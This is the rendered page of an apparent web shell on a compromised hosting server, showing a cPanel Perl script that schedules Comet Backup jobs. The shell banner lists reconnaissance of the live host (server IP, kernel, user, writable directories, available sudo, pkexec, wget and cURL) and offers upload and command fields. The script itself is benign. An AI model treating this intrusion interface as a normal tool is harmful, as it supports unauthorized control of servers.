BotaxWebshell
Server IP : 68.178.172.28  /  Your IP : 216.73.217.169
Web Server : Apache
System : Linux 28.172.178.68.host.secureserver.net 4.18.0-553.125.1.el8_10.x86_64 #1 SMP Wed May 20 11:06:10 EDT 2026 x86_64
User : kiskarnal ( 1003)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /scripts/backup_jobs_helper
#!/usr/local/cpanel/3rdparty/bin/perl

#                                      Copyright 2025 WebPros International, LLC
#                                                            All rights reserved.
# copyright@cpanel.net                                          http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

package scripts::backup_jobs_helper;

use cPstrict;

use Getopt::Long qw(GetOptions);
use Pod::Usage   qw(pod2usage);
use Time::Piece  ();
use Cpanel::Logger;
use Cpanel::Debug ();

use Cpanel::Plugins::FileLock         ();
use Whostmgr::CometBackup::BackupJobs ();
use Whostmgr::CometBackup::Scheduling ();
use Whostmgr::CometBackup::Constants  ();
use Data::UUID                        ();
use POSIX                             ();

my $LOCK_FILE = '/var/run/comet_backup_jobs_helper.lock';

my $logger = Cpanel::Logger->new();

=encoding utf-8

=head1 NAME

backup_jobs_helper - Process scheduled backup jobs for Comet Backup integration

=head1 SYNOPSIS

backup_jobs_helper [options]

=head1 DESCRIPTION

This script processes scheduled backup jobs by checking which jobs are due to run
and executing them. It is designed to be called periodically by cron.

The script performs the following operations:

=over

=item * Retrieves all active backup jobs from the database

=item * Checks which jobs are scheduled to run at the current time

=item * Executes any due backup jobs

=item * Updates job status and last run timestamps

=back

=head1 OPTIONS

=over

=item --help

Show this help message and exit.

=item --verbose

Enable verbose logging output.

=item --debug

Enable debug logging output (shows detailed scheduling calculations).

=item --dry-run

Show what would be done without actually executing backup jobs.

=back

=head1 EXAMPLES

    # Process backup jobs normally
    /usr/local/cpanel/scripts/backup_jobs_helper

    # Show what would be done without executing
    /usr/local/cpanel/scripts/backup_jobs_helper --dry-run

    # Enable verbose output
    /usr/local/cpanel/scripts/backup_jobs_helper --verbose

    # Enable debug output
    /usr/local/cpanel/scripts/backup_jobs_helper --debug

=cut

sub main {

    # Plugin policy: nothing in this process should be world-readable.
    umask 0027;

    my ( $help, $verbose, $dry_run, $debug );

    GetOptions(
        'help|h'    => \$help,
        'verbose|v' => \$verbose,
        'dry-run'   => \$dry_run,
        'debug|d'   => \$debug,
    ) or pod2usage(2);

    pod2usage(1) if $help;

    # Enable debug logging if --debug flag is set
    if ($debug) {
        $Cpanel::Debug::level = 1;
    }

    my $lock_obj = Cpanel::Plugins::FileLock->new($LOCK_FILE);

    if ( -e $LOCK_FILE ) {
        if ( $lock_obj->exists() ) {

            # SafeFile confirms the lock is held by a live process — exit cleanly.
            $logger->info('Another backup_jobs_helper is already running; exiting.');
            exit 0;    ## no critic (Cpanel::NoExitsFromSubroutines)
        }

        # Lock file exists but SafeFile does not consider it held (previous
        # process died without cleaning up) — remove the stale file so
        # create() can succeed.
        $logger->warn("Removing stale lock (previous process is no longer running)");
        unlink $LOCK_FILE or $logger->warn("Could not unlink stale lock $LOCK_FILE: $!");
    }

    my $lock = $lock_obj->create();
    unless ($lock) {
        $logger->error("Failed to acquire lock $LOCK_FILE; cannot proceed.");
        exit 1;
    }

    # Disable DESTROY-based release immediately — we manage cleanup manually.
    $lock_obj->disable_auto_cleanup();

    my $current_time = time();
    my $current_dt   = Time::Piece->new($current_time);

    if ($verbose) {
        $logger->info( "Starting backup jobs helper at " . $current_dt->strftime('%Y-%m-%d %H:%M:%S') );
    }

    eval {
        my $jobs_manager = Whostmgr::CometBackup::BackupJobs->new();
        my $scheduler    = Whostmgr::CometBackup::Scheduling->new();

        # Get all active scheduled backup jobs
        my @active_jobs = $jobs_manager->get_backup_jobs();

        if ($verbose) {
            $logger->info( "Found " . scalar(@active_jobs) . " active backup jobs" );
        }

        # comet_backup_runner enforces a system-wide single-runner guard via
        # its PID file: a second runner invocation will exit immediately. If a
        # runner is already active we must not mark any due job 'running' or
        # fork a second runner — the runner would die on its PID-file guard
        # and the DB row would be left stuck. Bail out of this sweep; the
        # cron tick will retry once the current runner finishes.
        if ( !$dry_run ) {
            if ( my $active_pid = Whostmgr::CometBackup::Constants::existing_runner_pid() ) {
                $logger->info("comet_backup_runner already active (PID $active_pid); skipping this sweep.");
                return;
            }
        }

        my $jobs_processed   = 0;
        my $runner_dispatched = 0;

        for my $job (@active_jobs) {

            $logger->debug( "LOOKING AT JOB: " . $job->{job_id} . " ( " . $job->{description} . " | $job->{schedule_type} )" );

            # Skip manual jobs - they are not scheduled
            next if $job->{schedule_type} eq 'manual';

            # Skip if job is currently running
            next if $job->{status} && $job->{status} eq 'running';

            # Check if this job should run now
            my $should_run = _should_job_run_now( $job, $scheduler, $current_time );

            if ($should_run) {
                if ($verbose) {
                    $logger->info( "Processing backup job: " . $job->{name} . " (job_id: " . $job->{job_id} . ")" );
                }

                if ($dry_run) {
                    print "Would execute backup job: " . $job->{name} . " (job_id: " . $job->{job_id} . ")\n";
                    $jobs_processed++;
                    next;
                }

                # Only one runner can be active system-wide. Dispatch the
                # first due job, then stop — additional due jobs will be
                # picked up by the next cron tick once this runner exits.
                _execute_backup_job( $jobs_manager, $job );
                $jobs_processed++;
                $runner_dispatched = 1;
                last;
            }
        }

        if ($verbose) {
            $logger->info("Processed $jobs_processed backup jobs");
            if ($runner_dispatched) {
                $logger->info("Deferred remaining due jobs to subsequent cron ticks (single-runner policy).");
            }
        }

        if ( ( $verbose || $debug ) && $dry_run && $jobs_processed == 0 ) {
            $logger->info("No backup jobs are currently due to run");
        }
    };

    $lock_obj->remove($lock);

    if ($@) {
        $logger->error("Error in backup jobs helper: $@");
        exit 1;
    }

    if ($verbose) {
        $logger->info("Backup jobs helper completed successfully");
    }
}

sub _should_job_run_now {
    my ( $job, $scheduler, $current_time ) = @_;

    # Parse job configuration
    my $schedule_info = $job->{schedule_info} || {};
    my $last_run      = $job->{last_run};

    # Calculate next run time based on schedule
    my $next_run_time;

    eval { $next_run_time = $scheduler->calculate_next_run( $schedule_info, $last_run ); };

    if ($@) {
        $logger->warn( "Could not calculate next run time for job " . $job->{job_id} . ": $@" );
        return 0;
    }

    $logger->debug( "Next run time for job " . $job->{job_id} . " ( $job->{description} ) : " . scalar localtime($next_run_time) );

    # Check if current time is past the next run time
    return defined $next_run_time && $current_time >= $next_run_time;
}

sub _execute_backup_job {
    my ( $jobs_manager, $job ) = @_;

    my $job_id = $job->{job_id};

    eval {
        # Generate a unique run_uuid for this backup run instance
        require Data::UUID;
        my $ug       = Data::UUID->new();
        my $run_uuid = lc( $ug->create_str() );

        $logger->info( "Starting backup job: " . $job->{name} . " (job_id: $job_id, run_uuid: $run_uuid)" );

        # Store the current_run_uuid in the backup_jobs table for tracking
        $jobs_manager->set_current_run_uuid( $job_id, $run_uuid );

        # Update job status to running and set last run timestamp
        $jobs_manager->update_backup_job(
            $job_id,
            status             => 'running',
            last_run_timestamp => time(),
        );

        # Fork the backup runner script in the background
        my $backup_runner_path = $Whostmgr::CometBackup::Constants::BACKUP_RUNNER_PATH;

        unless ( -x $backup_runner_path ) {
            die "Backup runner script not found or not executable: $backup_runner_path";
        }

        my $pid = fork();

        if ( !defined $pid ) {

            # Fork failed
            die "Failed to fork backup runner process: $!";
        }

        if ( $pid == 0 ) {

            # Child process - exec the backup runner.
            # All failure paths use POSIX::_exit so the child never unwinds
            # back into main()'s eval, which would corrupt the lock state.
            # umask 0027 was set at the top of main() and the child inherits it.
            open STDOUT, '>>', '/var/log/comet_backup_jobs_helper.log' or POSIX::_exit(1);
            open STDERR, '>>', '/var/log/comet_backup_jobs_helper.log' or POSIX::_exit(1);

            # Become session leader to fully detach
            POSIX::setsid() or POSIX::_exit(1);

            # Execute the backup runner with run_uuid; _exit if exec fails.
            # --bypass-schedule: the helper has already made its own scheduling
            # decision, so we skip the runner's redundant cooldown check. The
            # runner's "one runner at a time" guard still applies.
            exec( $backup_runner_path, '--bypass-schedule', '--job_uuid', $job_id, '--run_uuid', $run_uuid )
              or POSIX::_exit(1);
        }

        # Parent process - just log that we started the runner
        $logger->info( "Forked backup runner process (PID: $pid) for job: " . $job->{name} );
    };

    if ($@) {
        $logger->error( "Failed to execute backup job " . ( $job_id // 'job_id UNSET' ) . ": $@" );

        # Update job status to failed
        eval {
            $jobs_manager->update_backup_job(
                $job_id,
                status => 'failed',
            );
            $jobs_manager->clear_current_run_uuid($job_id);
        };
    }
}

# Run the main function if this script is executed directly
main() if !caller;

1;

__END__

=head1 SEE ALSO

L<Whostmgr::CometBackup::BackupJobs>, L<Whostmgr::CometBackup::Scheduling>

=head1 AUTHOR

WebPros International, LLC

=head1 COPYRIGHT

Copyright 2025 WebPros International, LLC. All rights reserved.

=cut

Youez - 2016 - github.com/yon3zu
LinuXploit